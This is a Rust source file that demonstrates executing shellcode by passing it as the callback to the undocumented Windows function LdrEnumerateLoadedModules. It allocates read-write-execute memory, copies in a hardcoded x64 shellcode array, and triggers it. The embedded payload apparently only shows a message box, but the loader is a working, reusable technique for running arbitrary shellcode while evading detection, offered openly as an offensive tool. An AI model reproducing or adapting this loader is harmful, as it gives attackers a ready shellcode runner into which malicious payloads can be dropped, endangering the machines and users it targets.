
/*
    Shellcode execution using LdrEnumerateLoadedModules func()
    By @5mukx
*/
use std::{
    ffi::c_void,
    ptr::{copy_nonoverlapping, null_mut},
};

use windows::{
    Win32::{
        Foundation::GetLastError,
        System::{
            LibraryLoader::{GetModuleHandleW, GetProcAddress},
            Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAlloc},
            WindowsProgramming::LDR_DATA_TABLE_ENTRY,
        },
    },
    core::{BOOL, s, w},
};

type LdrEnumCallback = unsafe extern "system" fn(
    module_info: *mut LDR_DATA_TABLE_ENTRY,
    parameter: *mut c_void,
    stop: *mut BOOL,
);

type LdrEnumerateLoadedModulesFn = unsafe extern "system" fn(
    reserved_flag: BOOL,
    enum_proc: LdrEnumCallback,
    context: *mut std::ffi::c_void,
) -> i32;

static SHELLCODE: &[u8] = &[
    0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41,
    0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52,
    0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
    0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1,
    0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E,
    0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
    0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49,
    0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D,
    0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
    0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B,
    0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C,
    0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
    0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
    0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48,
    0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
    0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
    0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5,
    0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D,
    0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78,
    0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65,
    0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
];

fn main() -> windows::core::Result<()> {
    unsafe {
        let alloc_size = SHELLCODE.len();
        let shellcode_addr = VirtualAlloc(
            Some(null_mut()),
            alloc_size,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE,
        );

        if shellcode_addr.is_null() {
            return Err(windows::core::Error::from(GetLastError()));
        }

        // cpy the shellcode to mem
        copy_nonoverlapping(SHELLCODE.as_ptr(), shellcode_addr as *mut u8, alloc_size);

        let ntdll = GetModuleHandleW(w!("ntdll"))?;

        let ldr_enumerate = GetProcAddress(ntdll, s!("LdrEnumerateLoadedModules"))
            .expect("[-] Unable to get LdrEnumerateLoadedModules");

        let callback: LdrEnumCallback = std::mem::transmute(shellcode_addr);

        // calling LdrEnumerateLoadedModules with sc as callback !
        let ldr_enumerate_fn: LdrEnumerateLoadedModulesFn = std::mem::transmute(ldr_enumerate);

        //
        println!("[+] Exec Callback !");

        let status = ldr_enumerate_fn(BOOL(0), callback, null_mut());

        if status != 0 {
            return Err(windows::core::Error::from(GetLastError()));
        }
    }

    Ok(())
}
